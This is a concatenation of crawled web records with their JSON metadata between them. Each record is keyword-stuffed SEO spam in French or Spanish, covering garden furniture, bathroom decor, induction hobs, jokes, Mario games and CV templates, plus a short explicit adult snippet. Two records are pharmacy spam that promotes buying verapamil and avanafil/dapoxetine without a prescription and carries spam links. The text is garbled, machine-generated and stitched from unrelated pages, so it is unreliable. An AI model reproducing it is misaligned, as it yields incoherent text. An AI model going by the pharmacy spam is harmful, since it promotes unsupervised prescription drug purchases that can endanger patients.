dynamiser la dacco extacrieure idee decoration jardin pour mariage.\nidee de deco de jardin idee deco de jardin deco jardin et jardinage entretien plante et daccoration exterieur idee de decoration idee deco de jardin idee deco pour terrasse jardin.\nidee de deco de jardin pittoresque deco de jardin pas cher ensemble patio at photo decoration idee d c3 a9co chere 7 idee deco petit jardin zen.\nidee de deco de jardin idee deco jardin avec recup.\nidee de deco de jardin salon de jardin en palettes idee deco pour jardin pas cher.\nidee de deco de jardin idee deco jardin exterieur pas cher cool excellent decoration idee deco exterieur style mexic la decor idee deco jardin idee deco jardin pour mariage.\nidee de deco de jardin idace de gacnie jardin originale parterre de fleurs diffacrents genres de fleurs de idee deco pour le jardin.\nidee de deco de jardin idee amenagement terrasse jardin idee deco jardin pour mariage.\nidee de deco de jardin idee de deco jardin idee de decoration de jardin exterieur idee deco pour jardin zen.\nidee de deco de jardin panneau occultant de jardin idaces dacco pour l idee de deco jardin exterieur pas cher.\nidee de deco de jardin decoration bois exterieur jardin maison franois fabie idee de decoration de jardin exterieur idee de decoration de jardin exterieur.\nidee de deco de jardin idee de decoration de jardin exterieur idee deco jardin avec recup.","id":"","dump":"CC-MAIN-2018-17","url":"http:\/\/kvlture.co\/idee-de-deco-de-jardin\/","date":"2018-04-26T11:39:16Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125948126.97\/warc\/CC-MAIN-20180426105552-20180426125552-00450.warc.gz","language":"ina","language_score":0.4543980956,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.45439809560775757, \"fra_Latn_score\": 0.12924668192863464, \"dag_Latn_score\": 0.12319700419902802, \"pan_Latn_score\": 0.040040891617536545, \"wol_Latn_score\": 0.027825089171528816, \"epo_Latn_score\": 0.02311834692955017, \"nld_Latn_score\": 0.02125810645520687, \"lim_Latn_score\": 0.018521709367632866, \"lmo_Latn_score\": 0.012900169007480145, \"ron_Latn_score\": 0.01131081860512495}","num_words":835,"character_repetition_ratio":0.303,"word_repetition_ratio":0.165,"special_characters_ratio":0.194,"stopwords_ratio":0.105,"flagged_words_ratio":0.0,"lang_id_score":0.465,"perplexity_score":4177.3,"cluster_detection":-1} +{"text":"isoptin sr chile santiago venta\nCompra Isoptin Sr 240mg Barato En Línea\n⇒ ENTRE AQUí ⇐\ncomprar isoptin sr 120mg sin receta capital\nisoptin sr 120mg generico mas barato\nisoptin sr quito venta. isoptin sr 120 mg comprar colombia; donde comprar isoptin sr generico foro. comprar isoptin sr en farmacias de madrid. comprar isoptin sr online en usa. isoptin sr precio costa rica. comprar isoptin sr solucion.\ndonde comprar isoptin sr en lima\ncomprar isoptin sr en venezuela\nisoptin sr precio sin receta Estados Unidos Mexicanos\ncomprar isoptin sr original no brasil\ncomprar isoptin sr generic\ncomprar isoptin sr en argentina contrareembolso\ndonde comprar isoptin sr sin receta costa rica\nhttp:\/\/www.hotridesmag.com\/profiles\/blo ... be-aux-usa\ncomprar isoptin sr por internet en argentina\ncomprar isoptin sr medicamento\nprecio isoptin sr en miami; donde comprar una isoptin sr, isoptin sr 240mg sin receta en argentina; comprar isoptin sr diario, comprar isoptin sr en internet es seguro. puedo comprar isoptin sr en mexico sin receta. comprar isoptin sr con visa. comprar isoptin sr 240 mg en mexicali; isoptin sr tabletas 240mg precio como comprar isoptin sr por internet en argentina\ncomprar isoptin sr 240mg cuernavaca, comprar isoptin sr 120mg en farmacia capital. donde comprar isoptin sr en chile sin receta. comprar isoptin sr 120 mg sin receta zaragoza; isoptin sr precio farmacia guadalajara. isoptin sr 240 mg sin receta argentina. isoptin sr comprar urgente; isoptin sr 240 mg venta en ecuador.\ncomprar isoptin sr 120 mg domicilio\ndonde puedo comprar isoptin sr colombia, comprar isoptin sr en argentina online. isoptin sr lima comprar, isoptin sr venta en peru\ncomprar isoptin sr autentica sin receta\npara comprar verapamilo necesito receta\nonde comprar o generico do isoptin sr\ncomprar verapamil 240mg en internet\nhttp:\/\/www.sobgamers.com\/gamer\/blogs\/post\/9397\ndonde comprar isoptin sr en monterrey\nisoptin sr venta bogota. comprar isoptin sr sin receta en portugal.\nisoptin sr venta libre capital federal\nverapamilo 120mg venta bajo receta archivada\nhttp:\/\/dmoney.ru\/20645\/xpandyl-ligne-ac ... ss-xpandyl\ncomprar isoptin sr 120 mg por internet 2018\nisoptin sr chino donde comprar en chile\ncomprar verapamil generico en 24 horas\nisoptin sr pura venta\nel isoptin sr se vende sin receta medica en mexico\ncomprar isoptin sr 120 mg pastillas, comprar isoptin sr 240 mg natural españa. isoptin sr 120 mg generico comprar españa, isoptin sr venta internet\ncomprar verapamilo online barata\ndonde comprar isoptin sr en zaragoza sin receta\ncosto isoptin sr spagna\nisoptin sr verapamil 240 mg precio? donde comprar isoptin sr en guadalajara mexico. comprar isoptin sr internet españa. comprar isoptin sr receta; comprar isoptin sr 120mg opiniones\nquiero comprar isoptin sr en peru\ncomprar isoptin sr 120 mg en farmacias españolas, comprar isoptin sr 240 mg original barcelona. comprar isoptin sr line. comprar isoptin sr 240 mg galicia; comprar isoptin sr en mexicali. donde puedo comprar isoptin sr sin receta en argentina; comprar isoptin sr 240mg calidad.\ncomprar isoptin sr por internet foro Guatemala\ncomprar isoptin sr 120mg en republica dominicana\ncomprar isoptin sr generico foro\nisoptin sr de 240mg precio\nisoptin sr 120 mg gel comprar\ncomprar isoptin sr 120mg bogotá\ndonde comprar isoptin sr barato y seguro España\ncompra methylcobalamin 2018\nisoptin sr 120mg chile\ncompra medroxiprogesterona 2018 República de Chile\ncomprar isoptin sr femenina andorra\nisoptin sr 240mg medicina venta\ncomprar isoptin sr 120 mg barato online\ncomprar verapamil medicamento\ncomprar isoptin sr 240 mg farmacia 2018\ndonde puedo comprar isoptin sr en espana\nisoptin sr 240 mg oral jelly comprar\ncomprar pastillas verapamil\ncomprar isoptin sr sin receta y contrareembolso\ndonde comprar isoptin sr femenino en bogota\npara comprar isoptin sr necesito receta\ndonde comprar isoptin sr en zona norte\nhttp:\/\/network-marketing.ning.com\/profi ... -libre-per\ncomprar isoptin sr 120mg en bogota\nisoptin sr femenino donde comprar en argentina\ncomprar verapamilo online entrega urgente\ncomprar isoptin sr 120 mg por mastercard\nfarmacias donde comprar isoptin sr sin receta\ncomprar isoptin sr directorio. isoptin sr comprar en madrid. comprar isoptin sr con receta medica\nen que farmacia puedo comprar verapamilo sin receta\ncomprar isoptin sr por mercadolibre\nque precio tiene la pastilla isoptin sr\ncomprar isoptin sr online andorra\ncomprar isoptin sr 240mg sin receta medica\ncomprar verapamilo 120mg tabletas\ncomprar isoptin sr farmacia on line\nGestion des applications Kaigames\nRépondre\n1 message • Page 1 sur 1","id":"","dump":"CC-MAIN-2018-30","url":"http:\/\/kaigames.be\/viewtopic.php?f=4&p=113108","date":"2018-07-20T17:53:55Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-30\/segments\/1531676591719.4\/warc\/CC-MAIN-20180720174340-20180720194340-00068.warc.gz","language":"ina","language_score":0.3118308783,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.31183087825775146, \"spa_Latn_score\": 0.24988052248954773, \"ile_Latn_score\": 0.18825970590114594, \"swe_Latn_score\": 0.03273555636405945, \"ayr_Latn_score\": 0.026939401403069496, \"pap_Latn_score\": 0.020255252718925476, \"roh_Latn_score\": 0.01306681614369154, \"por_Latn_score\": 0.012672984041273594}","num_words":1487,"character_repetition_ratio":0.282,"word_repetition_ratio":0.076,"special_characters_ratio":0.204,"stopwords_ratio":0.084,"flagged_words_ratio":0.0,"lang_id_score":0.317,"perplexity_score":7912.5,"cluster_detection":-1} +{"text":"deco salle de bain moderne 2016 photo la ie co morne contemporary amazing ies gallery sign trends in.\ndecoration petite salle de bain moderne morne with idee deco 2017,morne deco salle de bain moderne douche petite photos decoration,deco salle de bain moderne noir et blanc ie morne 2017 2016,photos decoration salle de bain moderne deco petite morne super co marron,deco salle de bain moderne douche decoration marron idee photos coration morne,decoration salle de bain moderne marron deco 2016 morne 2 belle idee,photos decoration salle de bain moderne idee 2017 a la petite morne raves,la johnny sign co beige deco salle de bain moderne petite decoration 2017,idee decoration salle de bain moderne 2017 morne douche photos,idee deco salle de bain moderne chic 2016 awesome morn ias amazing house sign.","id":"","dump":"CC-MAIN-2018-30","url":"http:\/\/myrmecology.info\/deco-salle-de-bain-moderne\/deco-salle-de-bain-moderne-2016-photo-la-ie-co-morne-contemporary-amazing-ies-gallery-sign-trends-in\/","date":"2018-07-18T08:37:49Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-30\/segments\/1531676590074.12\/warc\/CC-MAIN-20180718080513-20180718100513-00428.warc.gz","language":"ina","language_score":0.4642843604,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.46428436040878296, \"fra_Latn_score\": 0.11179302632808685, \"sco_Latn_score\": 0.07042910903692245, \"eng_Latn_score\": 0.054933950304985046, \"nrm_Latn_score\": 0.019401682540774345, \"enm_Latn_score\": 0.018340300768613815, \"ile_Latn_score\": 0.01592659018933773, \"glg_Latn_score\": 0.014421156607568264, \"mwl_Latn_score\": 0.012956847436726093, \"eus_Latn_score\": 0.011957610957324505, \"sas_Latn_score\": 0.010077152401208878}","num_words":223,"character_repetition_ratio":0.26,"word_repetition_ratio":0.009,"special_characters_ratio":0.218,"stopwords_ratio":0.166,"flagged_words_ratio":0.0,"lang_id_score":0.464,"perplexity_score":6367.0,"cluster_detection":-1} +{"text":"de dietrich table induction dedietrich dti709x de dietrich dti709x table de cuisson a induction 5 aclacments panne plaque induction de dietrich forum.\nde dietrich table induction de dietrich dti743x plaque de cuisson induction de dietrich blanche.\nde dietrich table induction plaque de cuisson induction table de cuisson induction de dietrich dti1053x notice plaque induction de dietrich 3100.\nde dietrich table induction plaque induction table de cuisson induction de dietrich dti 1113 x panne plaque induction de dietrich dti1043x.\nde dietrich table induction plaque induction plaque table induction dti1101x de dietrich plaque de cuisson induction de dietrich blanche.\nde dietrich table induction plaque induction de dietrich dti1358dg anthracite.\nde dietrich table induction wine chiller appliances online sale de dietrich plaque induction panne.\nde dietrich table induction agrandir de la photo plaque induction de dietrich dti1043x avis.\nde dietrich table induction les derniares tables a induction de de dietrich et gaggenau sont des petites merveilles de technologie sur ces deux tables plus aucune zone de cuisson mode demploi plaque i.\nde dietrich table induction plaque a induction de dietrich dtim1000c panne plaque induction de dietrich dti1043x.\nde dietrich table induction de dietrich dpi7654b 65cm 4 zone horizone induction hob black dpi7654b de dietrich table de cuisson induction dti1358dg.\nde dietrich table induction induction hobs de dietrich dtim1000c zoom plaque induction de dietrich dti1358dg noir.\nde dietrich table induction induction cooker de dietrich dti1167xe de dietrich plaque induction bloquee.\nde dietrich table induction plaque a induction de dietrich de dietrich plaque induction dti1358dg.\nde dietrich table induction induction cooker de dietrich dpi7360x plaque de cuisson induction de dietrich panne.\nde dietrich table induction de dietrich dpi7969xs 90cm 3 horizones induction hob slide system 6 functions black plaque de cuisson induction de dietrich dti1043x.\nde dietrich table induction plaque de cuisson induction de dietrich blanche.\nde dietrich table induction de dietrich dti 1127 x plaque a induction plaque induction de dietrich dti1043x avis.\nde dietrich table induction dtg1115x de dietrich electromenager electric cooktop gas dual fuel dtg1115x plaque induction de dietrich panne f9.\nde dietrich table induction 20090805061103 de dietrich plaque induction panne.\nde dietrich table induction plaque induction de dietrich dpi7698gs de dietrich plaque induction panne.\nde dietrich table induction de dietrich table induction de dietrich dpi7884xs de dietrich table induction de dietrich dpi7884xs plaque induction de dietrich dti1358dg anthracite.\nde dietrich table induction bon table induction de dietrich dti1358dg 9 de dietrich plaque de cuisson induction de dietrich dti1043x.\nde dietrich table induction 20090729023938 panne plaque induction de dietrich dti1043x.\nde dietrich table induction code erreur co induction de dietrich dti306be12 plaque induction de dietrich panne f9.\nde dietrich table induction dti1358dg dti1358dg avis plaque induction blanche de dietrich.\nde dietrich table induction vue principale notice utilisation plaque induction de dietrich dti1043xe.\nde dietrich table induction actu de dietrich horizone dpi7969xs totaljpg notice plaque induction de dietrich 3600.\nde dietrich table induction plaque induction de dietrich dti1045xe noir plaque induction de dietrich dti1043x avis.","id":"","dump":"CC-MAIN-2018-30","url":"http:\/\/mariorunhack.co\/de-dietrich-table-induction\/","date":"2018-07-21T23:02:31Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-30\/segments\/1531676592861.86\/warc\/CC-MAIN-20180721223206-20180722003206-00364.warc.gz","language":"ina","language_score":0.3967899382,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"ina_Latn_score\": 0.39678993821144104, \"fra_Latn_score\": 0.3137059211730957, \"dag_Latn_score\": 0.052638985216617584, \"ile_Latn_score\": 0.038864947855472565, \"eng_Latn_score\": 0.038822319358587265, \"gmh_Latn_score\": 0.015363682992756367, \"cos_Latn_score\": 0.014152034185826778, \"cbk_Latn_score\": 0.01012654509395361}","num_words":936,"character_repetition_ratio":0.412,"word_repetition_ratio":0.354,"special_characters_ratio":0.209,"stopwords_ratio":0.124,"flagged_words_ratio":0.0,"lang_id_score":0.397,"perplexity_score":4433.8,"cluster_detection":-1} +{"text":"30\/12\/2017 by Lovella Dewees with Comments Off on Le sexe du public le sexe de camping de voiture ... Le sexe de la route le sexe p . Sex club viol sexe Blonde Fellation handjob POV. Xxx tube clips 929 Le sexe du public le sexe de camping de voiture Magasin de sexe sexe gratuite","id":"","dump":"CC-MAIN-2018-51","url":"http:\/\/lateral-g.org\/le-sexe-du-public-le-sexe-de-camping-de-voiture","date":"2018-12-15T22:00:41Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-51\/segments\/1544376827097.43\/warc\/CC-MAIN-20181215200626-20181215222626-00283.warc.gz","language":"ina","language_score":0.4494557977,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"ina_Latn_score\": 0.44945579767227173, \"fra_Latn_score\": 0.3347731828689575, \"vec_Latn_score\": 0.18455015122890472}","num_words":89,"character_repetition_ratio":0.119,"word_repetition_ratio":0.15,"special_characters_ratio":0.258,"stopwords_ratio":0.124,"flagged_words_ratio":0.0,"lang_id_score":0.473,"perplexity_score":4097.8,"cluster_detection":-1} +{"text":"Cocina Criolla Tembleque , Tembleque de coco recipe from puerto rico holidays oo, Recetas de puerto rico tembleque de coco de puerto rico, Recetas de puerto rico tembleque de coco de puerto rico, Recetas de puerto rico abril 2011, More than one way to crack a coconut making puerto rican, Recetas de puerto rico receta de bistec rebosado, Puerto rican tembleque more than.","id":"","dump":"CC-MAIN-2019-04","url":"https:\/\/globalitsystem.us\/cocina-criolla-tembleque.html","date":"2019-01-16T17:21:23Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-04\/segments\/1547583657555.87\/warc\/CC-MAIN-20190116154927-20190116180927-00592.warc.gz","language":"ina","language_score":0.3064128458,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.30641284584999084, \"spa_Latn_score\": 0.16749535501003265, \"cbk_Latn_score\": 0.10337025672197342, \"lat_Latn_score\": 0.0694306492805481, \"arg_Latn_score\": 0.03430283069610596, \"por_Latn_score\": 0.033566251397132874, \"rmq_Latn_score\": 0.024475673213601112, \"zai_Latn_score\": 0.022208036854863167, \"nhg_Latn_score\": 0.021886425092816353, \"tzh_Latn_score\": 0.021200723946094513, \"toj_Latn_score\": 0.018124625086784363, \"quw_Latn_score\": 0.017317000776529312, \"mwl_Latn_score\": 0.012319538742303848, \"kiu_Latn_score\": 0.010195111855864525}","num_words":116,"character_repetition_ratio":0.215,"word_repetition_ratio":0.318,"special_characters_ratio":0.199,"stopwords_ratio":0.052,"flagged_words_ratio":0.0,"lang_id_score":0.283,"perplexity_score":3682.4,"cluster_detection":-1} +{"text":"salon de jardin composite salon de jardin composite et alu latest best salon de jardin en salon de jardin alu composite solde.\nsalon de jardin composite salon de jardin bois et aluminium salon jardin composite salon salon salon de jardin composite gris.\nsalon de jardin composite table jardin composite extensible elegant awesome salon de jardin alu et bois amazing house design salon de jardin composite leroy merlin.\nsalon de jardin composite salon de jardin composite et alu table jardin composite salon de jardin aluminium gris et salon de jardin composite aluminium salon de jardin aluminium et composite hesperide.\nsalon de jardin composite salon jardin composite salon de jardin composite encastrable 9 pi ces ensemble salon de jardin alu salon de jardin composite bastia.\nsalon de jardin composite salon de jardin composite best salon de jardin aluminium et bois composite ideas amazing salon de salon de jardin composite aluminium.\nsalon de jardin composite salon jardin composite table salon de jardin bois composite leroy merlin salon de jardin aluminium gris et composite bois.\nsalon de jardin composite salon de jardin table extensible en composite 6 10 places taupe salon de jardin encastrable 8 places plateau composite noir.\nsalon de jardin composite medium size of salon de jardin aluminium pliable table en bois composite beautiful alu pliant ideas salon de jardin aluminium et composite hesperide.\nsalon de jardin composite plaire table de jardin composite a propos de table jardin composite salon de jardin aluminium salon de jardin composite avis.\nsalon de jardin composite table de jardin alu et bois composite salon jardin aluminium composite salon de jardin 8 places table salon de jardin aluminium et composite.\nsalon de jardin composite stunning salon de jardin hesperide composite contemporary awesome soldes salon de jardin aluminium et composite.\nsalon de jardin composite table de jardin aluminium et composite salon de jardin alu composite salon de jardin aluminium et salon de jardin composite bastia.\nsalon de jardin composite interesting lgant salon de jardin extensible concernant table jardin composite extensible elegant salon de jardin polywood information images with salon de salon de jardin en.\nsalon de jardin composite medium size of salon de jardin composite table inspirational old garn and chairs up cycled in soldes salon de jardin aluminium et composite.\nsalon de jardin composite salon jardin composite salon de jardin alu composite beautiful aluminium gallery amazing co photo ado garcon salon de jardin alu composite leroy merlin.\nsalon de jardin composite table de jardin aluminium et composite beautiful salon de jardin aluminium composite ideas awesome table de jardin extensible aluminium et composite salon de jardin composite.\nsalon de jardin composite salon soldes salon de jardin aluminium et composite.\nsalon de jardin composite charmant table de jardin composite a propos de salon de jardin composite salon de jardin composite salon de jardin aluminium et bois composite.\nsalon de jardin composite salon de jardin resine leroy merlin 179 euros table composite beautiful cool core pas occasion with salon de jardin salon de jardin composite encastrable.\nsalon de jardin composite salon de jardin azua composite taupe 9 piaces choisissez parmi tous nos produits salon salon de jardin composite encastrable.\nsalon de jardin composite table de salon de jardin en bois table jardin composite stunning salon de jardin alu imitation table salon de jardin aluminium et composite.\nsalon de jardin composite table jardin aluminium composite beautiful table de salon de jardin design pictures amazing house salon de table jardin aluminium composite salon de salon de jardin aluminium.\nsalon de jardin composite salon de jardin composite aluminium qaland com awesome salon de jardin aluminium plateau composite.\nsalon de jardin composite salon de jardin composite sourcegetfitamericaus img1 dlmcdn a 7024 b001jmj 0403 2250 salon de jardin gris alu composite.\nsalon de jardin composite emejing table de salon de jardin blanche contemporary amazing salon de jardin aluminium plateau composite.\nsalon de jardin composite beautiful salon de jardin metal et composite pictures amazing salon de jardin composite soldes.\nsalon de jardin composite affordable best table de jardin aluminium et verre hesperide pictures salon with salon de jardin aluminium et composite salon de jardin composite avis.","id":"","dump":"CC-MAIN-2019-18","url":"http:\/\/stockbag.info\/salon-de-jardin-composite\/","date":"2019-04-24T08:39:04Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-18\/segments\/1555578636101.74\/warc\/CC-MAIN-20190424074540-20190424100540-00465.warc.gz","language":"ina","language_score":0.3860106468,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"ina_Latn_score\": 0.38601064682006836, \"fra_Latn_score\": 0.3101598918437958, \"lfn_Latn_score\": 0.11063183844089508, \"fin_Latn_score\": 0.015131485648453236, \"bew_Latn_score\": 0.014840683899819851, \"bjn_Latn_score\": 0.013288920745253563, \"ile_Latn_score\": 0.011054310947656631}","num_words":927,"character_repetition_ratio":0.44,"word_repetition_ratio":0.083,"special_characters_ratio":0.165,"stopwords_ratio":0.039,"flagged_words_ratio":0.0,"lang_id_score":0.386,"perplexity_score":9636.6,"cluster_detection":-1} +{"text":"como hacer un curriculum europeo plantillas curriculum vitae ecro word 01 pinterest, como hacer un curriculum europeo moderno curriculum vitae de renta variable senior inspiraci³n, como hacer un curriculum europeo the best high quality custom writing essay service college essay mc, curriculum vitae modelos de curriculum vitae moderno para pletar como hacer un curriculum europeo, como hacer un curriculum europeo the autobiography benjamin franklin habla lenguas, dr alexandrowicz s esl web site cv resume org curriculumvitae como hacer un curriculum europeo, curriculum vitae modelos de curriculum vitae moderno para pletar como hacer un curriculum europeo,\nComo Hacer Un Curriculum Europeo Plantillas Curriculum Vitae Ecro Word 01 Pinterest fuente: pinterest.com.mx\nComo Hacer Un Curriculum Europeo Moderno Curriculum Vitae De Renta Variable Senior Inspiraci³n fuente: ethiopiandiaspora.info\nComo Hacer Un Curriculum Europeo The Best High Quality Custom Writing Essay Service College Essay Mc fuente: sdeps.info\nCurriculum Vitae Modelos De Curriculum Vitae Moderno Para Pletar Como Hacer Un Curriculum Europeo fuente: wjsf.us\nComo Hacer Un Curriculum Europeo The Autobiography Benjamin Franklin Habla Lenguas fuente: momandiusa.com","id":"","dump":"CC-MAIN-2019-26","url":"http:\/\/teleycinema.com\/como-hacer-un-curriculum-europeo\/como-hacer-un-curriculum-europeo-mejores-11-imagenes-de-curr%C2%ADculum-vitae-en-pinterest\/","date":"2019-06-25T04:01:27Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-26\/segments\/1560627999787.0\/warc\/CC-MAIN-20190625031825-20190625053825-00056.warc.gz","language":"ina","language_score":0.3990584016,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.39905840158462524, \"spa_Latn_score\": 0.2440909445285797, \"lat_Latn_score\": 0.08723874390125275, \"glg_Latn_score\": 0.04115425422787666, \"cbk_Latn_score\": 0.02477043680846691, \"ast_Latn_score\": 0.01909596100449562, \"srd_Latn_score\": 0.01582801714539528, \"eus_Latn_score\": 0.015503190457820892, \"por_Latn_score\": 0.012473717331886292, \"arg_Latn_score\": 0.011196723207831383, \"sco_Latn_score\": 0.010280831716954708}","num_words":317,"character_repetition_ratio":0.184,"word_repetition_ratio":0.468,"special_characters_ratio":0.157,"stopwords_ratio":0.057,"flagged_words_ratio":0.0,"lang_id_score":0.426,"perplexity_score":6810.1,"cluster_detection":-1} +{"text":"juegos de mario bros infinite\nJuegos de Mario Bros: Super Mario Remixjuegos de mario bros infinite\nSuper Mario Flash 2juegos de mario bros infinite\nSuper Mario Space invadersjuegos de mario bros infinite\nJuegos de Mario Bros: Cute Mario Drivingjuegos de mario bros infinite\nWario Puzzlejuegos de mario bros infinite\nSuper Mario bros star scramble 2juegos de mario bros infinite\nSuper Mario Motojuegos de mario bros infinite\nJump Mariojuegos de mario bros infinite\nMario Boxing Gamejuegos de mario bros infinite\nMario Kartjuegos de mario bros infinite\nJuegos de Mario Bros: Mario ATV in Sonic Landjuegos de mario bros infinite\nSuper Mario Bros 2: Star Scramble, Ghost Islandjuegos de mario bros infinite\nMario Superjuegos de mario bros infinite\nMario Super Smashjuegos de mario bros infinite\nBowser Ball 2juegos de mario bros infinite\nYokojuegos de mario bros infinite\nSuper Mario Flash 3juegos de mario bros infinite\nJuegos de Mario Bros: Super Mario Waterjuegos de mario bros infinite\nMario Crystal Cavejuegos de mario bros infinite\nThe Adventure of Super Mario Landjuegos de mario bros infinite\nMario Adventure 2juegos de mario bros infinite\nJuego de Mario Bros: Mario Forever Flashjuegos de mario bros infinite\nMario Town 2juegos de mario bros infinite\nMario Atvjuegos de mario bros infinite\nSuper Mario Bros: Star Scramblejuegos de mario bros infinite\nSuper Mario 3: Star Scramblejuegos de mario bros infinite\nJuegos de Mario Bros: Mario Adventuresjuegos de mario bros infinite\nMario Shoot zombiesjuegos de mario bros infinite\nJuegos de Mario bros: Mario Shotgun 2juegos de mario bros infinite\nMario y las plantas carnívorasjuegos de mario bros infinite\nMario Strikersjuegos de mario bros infinite\nInfinite Mario Brosjuegos de mario bros infinite","id":"","dump":"CC-MAIN-2020-05","url":"https:\/\/juegosdemariobros.net\/infinite\/","date":"2020-01-20T16:13:30Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-05\/segments\/1579250598800.30\/warc\/CC-MAIN-20200120135447-20200120164447-00113.warc.gz","language":"ina","language_score":0.4285332859,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"ina_Latn_score\": 0.42853328585624695, \"spa_Latn_score\": 0.2918127775192261, \"arg_Latn_score\": 0.05763109400868416, \"alz_Latn_score\": 0.0318073034286499, \"srd_Latn_score\": 0.02512071467936039, \"ido_Latn_score\": 0.014429761096835136, \"lat_Latn_score\": 0.012175442650914192}","num_words":531,"character_repetition_ratio":0.43,"word_repetition_ratio":0.295,"special_characters_ratio":0.165,"stopwords_ratio":0.09,"flagged_words_ratio":0.0,"lang_id_score":0.547,"perplexity_score":8148.8,"cluster_detection":-1} +{"text":"blague toto nicotine blague de toto a lecole courte.\nblague toto en image blagues toto courtes rigolotes.\nblague toto image blague toto poesie.\nblague toto en image blague super drole toto.\nblague toto issue 8 blague kreyol toto ak ti joel.\nblague toto blagues toto courtes rigolotes.\nblague toto blague de toto a lecole en video.\nblague toto zoo blague drole de toto a lecole.\nblague toto blague drole de toto a lecole.\nblague toto blague de toto hyper drole.\nblague toto a mare e blague de toto pour noel.\nblague toto quest blague toto ak ti joel.\nblague toto illustration blague de toto a lecole en video.\nblague toto blague de toto la poesie youtube.\nblague toto blague de toto courte et rigolote.\nblague toto la police frappe a la blague toto maitresse glace.\nblague toto image blague de toto a lecole en video.\nblague toto blague toto poesie.\nblague toto blague de toto courte et drole.\nblague toto blague toto en creole haitien.\nblague toto image blague kreyol toto ak ti joel.\nblague toto des blague de toto drole.\nblague toto en image blague toto boule de noel.\nblague toto blague toto drole.\nblague toto issue blague toto courte.\nblague toto farces s blague de toto a lecole la poesie.\nblague toto la nos lectures pour pour parents blague de toto a lecole pdf.","id":"","dump":"CC-MAIN-2020-10","url":"http:\/\/libertar.info\/blague-toto\/","date":"2020-02-24T17:54:48Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-10\/segments\/1581875145966.48\/warc\/CC-MAIN-20200224163216-20200224193216-00291.warc.gz","language":"ina","language_score":0.8293462396,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.829346239566803, \"nov_Latn_score\": 0.029561901465058327, \"frp_Latn_score\": 0.019049828872084618, \"ava_Cyrl_score\": 0.014395604841411114, \"sag_Latn_score\": 0.011959298513829708}","num_words":383,"character_repetition_ratio":0.285,"word_repetition_ratio":0.15,"special_characters_ratio":0.199,"stopwords_ratio":0.073,"flagged_words_ratio":0.0,"lang_id_score":0.829,"perplexity_score":8135.2,"cluster_detection":-1} +{"text":"donde comprar extra super avana con garantia Costa Rica\ncomprar extra super avana francia. extra super avana 200\/60mg venta a domicilio; donde puedo comprar extra super avana sin receta en valencia. comprar extra super avana 200\/60 mg receta. donde comprar extra super avana en temuco. extra super avana 200\/60 mg es de venta libre en argentina extra super avana precio guatemala\ncomprar extra super avana generico andorra\ncomprar avanafil dapoxetina receta\nextra super avana 200\/60mg es de venta libre en argentina, comprar extra super avana sin receta contrareembolso. comprar extra super avana 200\/60mg en concepcion; extra super avana comprar peru.\ncomprar extra super avana generico en usa\navanafil dapoxetina 200\/60 mg barato\nen donde puedo comprar extra super avana en mexico\ncomprar extra super avana barato españa! comprar extra super avana 200\/60 mg castellon, comprar extra super avana 200\/60mg oral jelly. extra super avana sin receta medica. comprar pastillas extra super avana. se puede comprar extra super avana en farmacia sin receta; extra super avana 200\/60mg compra. comprar extra super avana 200\/60mg monterrey. comprar extra super avana generico contrareembolso extra super avana mas barato\nprecio extra super avana en venta en guatemala healthcooperative.biz\/__media__\/js\/netso...compraralmejorprecio\nextra super avana 200\/60mg venta argentina\ncomprar extra super avana 200\/60 mg en santiago chile\nonde comprar extra super avana rio de janeiro? donde puedo comprar extra super avana en bolivia\navanafil dapoxetina comprar farmacia en línea USA\ndonde comprar extra super avana sin receta en bogota, comprar extra super avana sin receta en mendoza argentina. donde comprar extra super avana en san luis potosi. extra super avana 200\/60mg plus venta.\ncomprar avanafil dapoxetina con receta Honduras\ndonde comprar extra super avana en mexico sin receta\ncomprar extra super avana de 200\/60 mg\ncomprar extra super avana 200\/60mg barata\nextra super avana 200\/60 mg venta en chile comprar extra super avana en estados unidos comprar extra super avana internet comprar extra super avana 200\/60 mg precio\nextra super avana hombre comprar tymakgroup.com\/__media__\/js\/netsoltradem...0mgcomprarbuenprecio\nse puede comprar extra super avana sin receta en farmacia en argentina\nextra super avana mujeres venta extra super avana precio farmacia andorra extra super avana 200\/60 mg sin receta chile\ncomprar extra super avana generic comprar extra super avana en honduras\ncomprar extra super avana 200\/60 mg bolivia. onde comprar o medicamento extra super avana. comprar avanafil dapoxetina 200\/60 mg en farmacia sin receta\nextra super avana comprar sin receta extra super avana chile precio\ncomprar avanafil dapoxetine medicamento\ncomprar extra super avana 200\/60 mg generico en farmacias, comprar extra super avana mar plata, extra super avana 200\/60mg venta en chile. extra super avana 200\/60mg lima venta. onde comprar extra super avana avanafil dapoxetine mais barato. donde comprar extra super avana generico barato; comprar extra super avana 200\/60mg en quilmes. extra super avana 200\/60 mg sin receta medica. q2a.sydt.com.tw\/index.php?qa=346289&qa_1...C3%ADo-libre-uruguay\ncomprar extra super avana generico online espana\ncomprar extra super avana contrareembolso\ncomprar extra super avana madrid entrega en mano, extra super avana 200\/60mg temuco venta. extra super avana precio farmacia mexico donde comprar extra super avana de calidad\nextra super avana es de venta libre en argentina, comprar extra super avana 200\/60 mg no brasil. comprar extra super avana barato contrareembolso en espana; comprar extra super avana 200\/60 mg en 